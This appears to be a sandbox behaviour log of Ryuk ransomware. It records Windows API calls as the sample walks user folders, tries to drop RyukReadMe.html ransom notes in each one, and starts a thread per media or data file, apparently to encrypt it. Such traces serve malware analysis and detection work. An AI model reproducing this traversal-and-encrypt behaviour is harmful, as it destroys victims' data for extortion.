	[0206.328] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.328] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.328] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.328] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.329] SetLastError (dwErrCode=0x0) 
	[0206.329] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.329] GetLastError () returned 0x3
	[0206.329] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.329] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.329] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0206.329] SetLastError (dwErrCode=0x0) 
	[0206.329] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.329] GetLastError () returned 0x3
	[0206.329] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.329] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.330] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.330] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.330] SetLastError (dwErrCode=0x0) 
	[0206.330] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.330] GetLastError () returned 0x3
	[0206.330] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.330] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0
	[0206.330] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0206.331] SetLastError (dwErrCode=0x0) 
	[0206.331] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.331] GetLastError () returned 0x3
	[0206.331] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.331] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0206.331] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518
	[0206.335] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.335] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0206.335] SetLastError (dwErrCode=0x0) 
	[0206.336] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.336] GetLastError () returned 0x3
	[0206.336] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.336] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.336] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.336] SetLastError (dwErrCode=0x0) 
	[0206.336] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.336] GetLastError () returned 0x3
	[0206.336] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.337] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0206.337] SetLastError (dwErrCode=0x0) 
	[0206.337] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.337] GetLastError () returned 0x3
	[0206.337] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.337] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.337] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.338] SetLastError (dwErrCode=0x0) 
	[0206.338] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft help\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.338] GetLastError () returned 0x3
	[0206.338] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.338] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0206.338] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0206.338] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a7337b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0206.338] SetLastError (dwErrCode=0x0) 
	[0206.338] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.339] GetLastError () returned 0x3
	[0206.339] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.339] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.339] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a7337b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0206.339] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a7337b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0206.340] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdb9a6e0, ftCreationTime.dwHighDateTime=0x1d5bbf5, ftLastAccessTime.dwLowDateTime=0x7c0a6140, ftLastAccessTime.dwHighDateTime=0x1d5c0e0, ftLastWriteTime.dwLowDateTime=0x7c0a6140, ftLastWriteTime.dwHighDateTime=0x1d5c0e0, nFileSizeHigh=0x0, nFileSizeLow=0x10751, dwReserved0=0x210, dwReserved1=0x0, cFileName="-G8QAFqH7VYxt6.mkv", cAlternateFileName="-G8QAF~1.MKV")) returned 1
	[0206.340] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528
	[0206.343] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.344] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc38ef660, ftCreationTime.dwHighDateTime=0x1d5b7a9, ftLastAccessTime.dwLowDateTime=0x7e855f0, ftLastAccessTime.dwHighDateTime=0x1d5b7b8, ftLastWriteTime.dwLowDateTime=0x7e855f0, ftLastWriteTime.dwHighDateTime=0x1d5b7b8, nFileSizeHigh=0x0, nFileSizeLow=0x182ad, dwReserved0=0x210, dwReserved1=0x0, cFileName="026xWvE01Y4.m4a", cAlternateFileName="026XWV~1.M4A")) returned 1
	[0206.344] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c
	[0206.347] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.348] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4dec250, ftCreationTime.dwHighDateTime=0x1d5baa5, ftLastAccessTime.dwLowDateTime=0x22df5aa0, ftLastAccessTime.dwHighDateTime=0x1d5baf3, ftLastWriteTime.dwLowDateTime=0x22df5aa0, ftLastWriteTime.dwHighDateTime=0x1d5baf3, nFileSizeHigh=0x0, nFileSizeLow=0x17edc, dwReserved0=0x210, dwReserved1=0x0, cFileName="1CRIC9Y1YG7tpqYhKZpE.flv", cAlternateFileName="1CRIC9~1.FLV")) returned 1
	[0206.348] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530
	[0206.351] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.352] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f217220, ftCreationTime.dwHighDateTime=0x1d5ba38, ftLastAccessTime.dwLowDateTime=0x6ddad7f0, ftLastAccessTime.dwHighDateTime=0x1d5bdfa, ftLastWriteTime.dwLowDateTime=0x6ddad7f0, ftLastWriteTime.dwHighDateTime=0x1d5bdfa, nFileSizeHigh=0x0, nFileSizeLow=0xbc8b, dwReserved0=0x210, dwReserved1=0x0, cFileName="3BjGRofHkmE_xK.avi", cAlternateFileName="3BJGRO~1.AVI")) returned 1
	[0206.352] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534
	[0206.512] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.513] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd9deae0, ftCreationTime.dwHighDateTime=0x1d5c0be, ftLastAccessTime.dwLowDateTime=0xf173c010, ftLastAccessTime.dwHighDateTime=0x1d5baa6, ftLastWriteTime.dwLowDateTime=0xf173c010, ftLastWriteTime.dwHighDateTime=0x1d5baa6, nFileSizeHigh=0x0, nFileSizeLow=0x10a10, dwReserved0=0x210, dwReserved1=0x0, cFileName="3Er-.jpg", cAlternateFileName="")) returned 1
	[0206.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538
	[0206.516] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.517] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66eed9b0, ftCreationTime.dwHighDateTime=0x1d5b700, ftLastAccessTime.dwLowDateTime=0xb9c06200, ftLastAccessTime.dwHighDateTime=0x1d5c531, ftLastWriteTime.dwLowDateTime=0xb9c06200, ftLastWriteTime.dwHighDateTime=0x1d5c531, nFileSizeHigh=0x0, nFileSizeLow=0x1b63, dwReserved0=0x210, dwReserved1=0x0, cFileName="4A3TcmNtg9qqVR5x.mp3", cAlternateFileName="4A3TCM~1.MP3")) returned 1
	[0206.517] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c
	[0206.519] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.520] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b91d00, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x54b91d00, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54c76540, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x210, dwReserved1=0x0, cFileName="AdobeARM.log", cAlternateFileName="")) returned 1
	[0206.520] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540
	[0206.523] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
